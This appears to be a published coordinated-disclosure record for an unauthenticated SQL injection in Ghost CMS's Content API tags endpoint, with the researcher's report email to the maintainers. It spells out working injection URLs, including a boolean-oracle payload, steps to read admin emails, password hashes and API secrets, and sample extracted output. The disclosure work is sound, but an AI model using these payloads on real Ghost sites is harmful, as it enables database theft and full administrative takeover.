ANT-2026-69D8H6RP · tryghost/ghost

sql-injection critical

CVE-2026-26980 GHSA-w52v-v783-gw97

Severity Claude critical · Security research firm - · Maintainer critical

REPORT

Anthropic's analysis of this finding, sealed at approval.

ANT-2026-69D8H6RP: Critical Vulnerability (CVSS 9.1) : SQLi from unauthenticated user; arbitrary DB reads

Ghost's Content API input serializer (slugFilterOrder in slug-filter-order.js) builds a raw SQL ORDER BY clause using string template literals containing the unsanitized filter query parameter. An attacker with only the public Content API key — which is embedded in the site's HTML as data-key — can craft a filter=...slug:[...] value on the /ghost/api/content/tags/ endpoint that injects arbitrary SQL. Using a boolean/error-based oracle (json(char(123)) on SQLite, SLEEP on MySQL), the attacker can exfiltrate arbitrary database rows bit-by-bit with no authentication. A working PoC extracts the admin email, bcrypt password hash, and Admin API secret in ~2600 requests; the leaked Admin API secret then grants full administrative control (create admin users, upload themes, manage all content).

Target

Project: tryghost/ghost
Version: Ghost 6.x through 6.18.2 (latest)
Location: core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (slugFilterOrder)

Technical Details

slugFilterOrder takes the filter query parameter from the request and concatenates it into a raw SQL ORDER BY clause via a JavaScript template literal without escaping or parameterization. Because the Content API tags route is reachable with only the publicly-exposed Content API key, any remote visitor can inject SQL subexpressions into the ORDER BY. The PoC uses a CASE expression whose ELSE branch evaluates json('{') — malformed JSON that raises SQLITE_ERROR — turning the endpoint into a boolean oracle for arbitrary subqueries against the users and api_keys tables.

Reproduction

  1. Load the Ghost front-end and extract the Content API key from the data-key attribute in the page source.
  2. Call /ghost/api/content/tags/?key=KEY&fields=id,slug&limit=1 to obtain a valid tag ID.
  3. Request /ghost/api/content/tags/?key=KEY&filter=id:TAG_ID,slug:[' OR (SELECT CASE WHEN () THEN 1 ELSE json(char(123)) END) > 0 OR slug=']&limit=all — a TRUE condition returns tag JSON, a FALSE condition returns a SQLITE_ERROR BadRequestError.
  4. Iterate the boolean oracle over subqueries (e.g. SELECT email/password FROM users, SELECT secret FROM api_keys) to extract values character-by-character; on MySQL substitute a time-based distinguisher such as SLEEP().
  5. Use the recovered Admin API secret to authenticate to the Admin API and create admin users / upload themes.

[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-69D8H6RP.


Reference: ANT-2026-69D8H6RP
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure

ADVISORY

https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97

CONSOLIDATED FROM

The following finding was consolidated into this one after publication; this card carries the shared disclosure record. Each original commitment remains in the ledger.

ANT-2026-H5T8XKWR

6479c89ca89975bde1a83168dcdaf7c0efffd8b9c3938659365bc7a4974131645c651422ea7bf38a531543cbeecea4d68d0743fa17e25e35e030028719e4c652

TIMELINE

Dates from discovery through public reveal.

  1. 2026-02-14 Sent to maintainer
  2. 2026-02-14 Maintainer acknowledged
  3. 2026-02-15 Patch released
  4. 2026-05-14 Reported to tracker
  5. 2026-06-02 Publicly revealed
PROVENANCE

SHA-3-512 hash:

7531e6b7bcefdfe01e708e410a2531cc4c1096294dcaa1b1ee4404b6f52a4927719e80ff0ed9f4bc93f9bbd9e8db83d4892e680abd903298915fde98182208ef

Committed 2026-02-14 16:31 PT

Revealed 2026-06-02 17:00 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-69D8H6RP",
  "bug_class": "SQL Injection",
  "claude_severity": "critical",
  "commit_sha": null,
  "created_at": "2026-05-14T22:41:22+00:00",
  "description": "Ghost's Content API input serializer (slugFilterOrder in slug-filter-order.js) builds a raw SQL ORDER BY clause using string template literals containing the unsanitized `filter` query parameter. An attacker with only the public Content API key — which is embedded in the site's HTML as `data-key` — can craft a `filter=...slug:[...]` value on the /ghost/api/content/tags/ endpoint that injects arbitrary SQL. Using a boolean/error-based oracle (json(char(123)) on SQLite, SLEEP on MySQL), the attacker can exfiltrate arbitrary database rows bit-by-bit with no authentication. A working PoC extracts the admin email, bcrypt password hash, and Admin API secret in ~2600 requests; the leaked Admin API secret then grants full administrative control (create admin users, upload themes, manage all content).",
  "discovered_at": "2026-02-15T00:31:39+00:00",
  "location": "core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (slugFilterOrder)",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "TryGhost/Ghost",
  "reproduction": [
    "1. Load the Ghost front-end and extract the Content API key from the `data-key` attribute in the page source.",
    "2. Call /ghost/api/content/tags/?key=KEY&fields=id,slug&limit=1 to obtain a valid tag ID.",
    "3. Request /ghost/api/content/tags/?key=KEY&filter=id:TAG_ID,slug:[' OR (SELECT CASE WHEN (<cond>) THEN 1 ELSE json(char(123)) END) > 0 OR slug=']&limit=all — a TRUE condition returns tag JSON, a FALSE condition returns a SQLITE_ERROR BadRequestError.",
    "4. Iterate the boolean oracle over subqueries (e.g. SELECT email/password FROM users, SELECT secret FROM api_keys) to extract values character-by-character; on MySQL substitute a time-based distinguisher such as SLEEP().",
    "5. Use the recovered Admin API secret to authenticate to the Admin API and create admin users / upload themes."
  ],
  "technical_details": "Hi,\n\nI am a security researcher at Anthropic. I am using LLMs to find\n\nvulnerabilities in open source software, and have spent a little bit of\n\ntime looking at Ghost. I believe I have found a bug that is extremely\n\nserious. While an LLM found this bug initially, I manually validated the\n\nbug myself and wrote this email and also tried to write a patch myself.\n\nThe vulnerability is in the slugFilterOrder function in\n\ncore/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js\n\n<https://github.com/TryGhost/Ghost/blob/main/ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js>,\n\nwhich directly takes user input from the filter query parameter and\n\nconstructs a raw SQL ORDER BY clause via string template literals.\n\nUnfortunately, this leads to a SQLi that allows anyone to remotely read\n\narbitrary data from the database. This is distinct from CVE-2026-22596\n\nwhich was recently filed.\n\nI have a working PoC, attached to this email, that extracts the admin\n\nemail, bcrypt password hash, and even the Admin API secrets when running on\n\nthe latest Ghost 6. (Note that an attacker with the extracted Admin API\n\nsecret can then create admin users, upload themes, and manage all content.)\n\nTo reproduce, start by running Ghost locally with Docker:\n\n  docker run -d -p 2368:2368 ghost:latest\n\nThis should bring up Ghost version 6.18.2. From here you should be able to\n\nvisit\n\n  http://localhost:2368\n\nInspect the source code and find the data-key, this will look like\n\n  data-key=\"bd6a3bb3d48a98345e5bc45b5a\"\n\nThen figure out a valid tag ID\n\nhttp://localhost:2368/ghost/api/content/tags/?key=YOUR_KEY&fields=id,slug&limit=1\n\nthen visit these two URLs which behave differently and prove the SQLi:\n\nhttp://localhost:2368/ghost/api/content/tags/?key=YOUR_KEY&filter=id:YOUR_TAG_ID,slug:['\n\nOR (SELECT CASE WHEN (1=1) THEN 1 ELSE json(char(123)) END) > 0 OR\n\nslug=']&limit=all\n\nhttp://localhost:2368/ghost/api/content/tags/?key=YOUR_KEY&filter=id:YOUR_TAG_ID,slug:['\n\nOR (SELECT CASE WHEN (1=0) THEN 1 ELSE json(char(123)) END) > 0 OR\n\nslug=']&limit=all\n\nThe first of these requests will return\n\n{\"tags\":[{\"id\":\"69917d0f084446000139092c\",\"name\":\"News\",\"slug\":\"news\",\"description\":null,\"feature_image\":null,\"visibility\":\"public\",\"og_image\":null,\"og_title\":null,\"og_description\":null,\"twitter_image\":null,\"twitter_title\":null,\"twitter_description\":null,\"meta_title\":null,\"meta_description\":null,\"codeinjection_head\":null,\"codeinjection_foot\":null,\"canonical_url\":null,\"accent_color\":null,\"url\":\"\n\nhttp://localhost:2368/tag/news/\n\n\"}],\"meta\":{\"pagination\":{\"page\":1,\"limit\":100,\"pages\":1,\"total\":1,\"next\":null,\"prev\":null}}}\n\nand the second will return\n\n  {\"errors\":[{\"message\":\"Request not understood error, cannot list\n\ntags.\",\"context\":\"Could not understand\n\nrequest.\",\"type\":\"BadRequestError\",\"details\":null,\"property\":null,\"help\":null,\"code\":\"SQLITE_ERROR\",\"id\":\"16486360-0a45-11f1-99ce-15113e120122\",\"ghostErrorCode\":null}]}\n\nThe reason this happens is that:\n\n  - In the TRUE condition, the inner CASE returns 1, and json(char(123)) is\n\nnever evaluated\n\n  - But in the FALSE condition, the inner CASE hits the ELSE branch, which\n\nevaluates json(char(123)) which is json('{'). That's malformed JSON and so\n\nwe get an error.\n\nThis can therefore be weaponized to leak arbitrary bits from the server.\n\nFor example, I can learn if the login email address has length >10 by\n\nrunning\n\nhttp://localhost:2368/ghost/api/content/tags/?key=bd6a3bb3d48a98345e5bc45b5a&filter=id:69917d0f084446000139092c,slug:[%27%20OR%20(SELECT%20CASE%20WHEN%20(length((SELECT%20email%20FROM%20users%20LIMIT%201))%3E10)%20THEN%201%20ELSE%20json(char(123))%20END)%20%3E%200%20OR%20slug%3D%27]&limit=all\n\nOn production MySQL you will need to find a different distinguisher; SLEEP\n\nshould probably work well.\n\nThe complete PoC (this was entirely Claude-generated, but I can confirm it\n\nruns correctly to extract the keys on my machine) attached will run and\n\ngive you an output like this:\n\n  RESULTS (2611 requests, all unauthenticated)\n\n    Admin email:      ghost@example.com\n\n    Admin name:       Ghost\n\n    Account status:   inactive\n\n    Bcrypt hash:\n\n $2a$10$bxMGUVG0Ri01r1Q7aQeUsONwCOGzqRkUkpLJc/qDYCP7.xm5WcSM2\n\n    Admin API secret: ecc977514394124affaf7148d350a4\n\nWith this Admin API secret, you can now do very bad things.\n\nPlease let me know if you have additional questions; I would be happy to\n\ndiscuss them over email or get on a call with you.\n\nThanks,\n\nNicholas",
  "title": "Critical Vulnerability (CVSS 9.1) : SQLi from unauthenticated user; arbitrary DB reads",
  "vendor_severity": null
}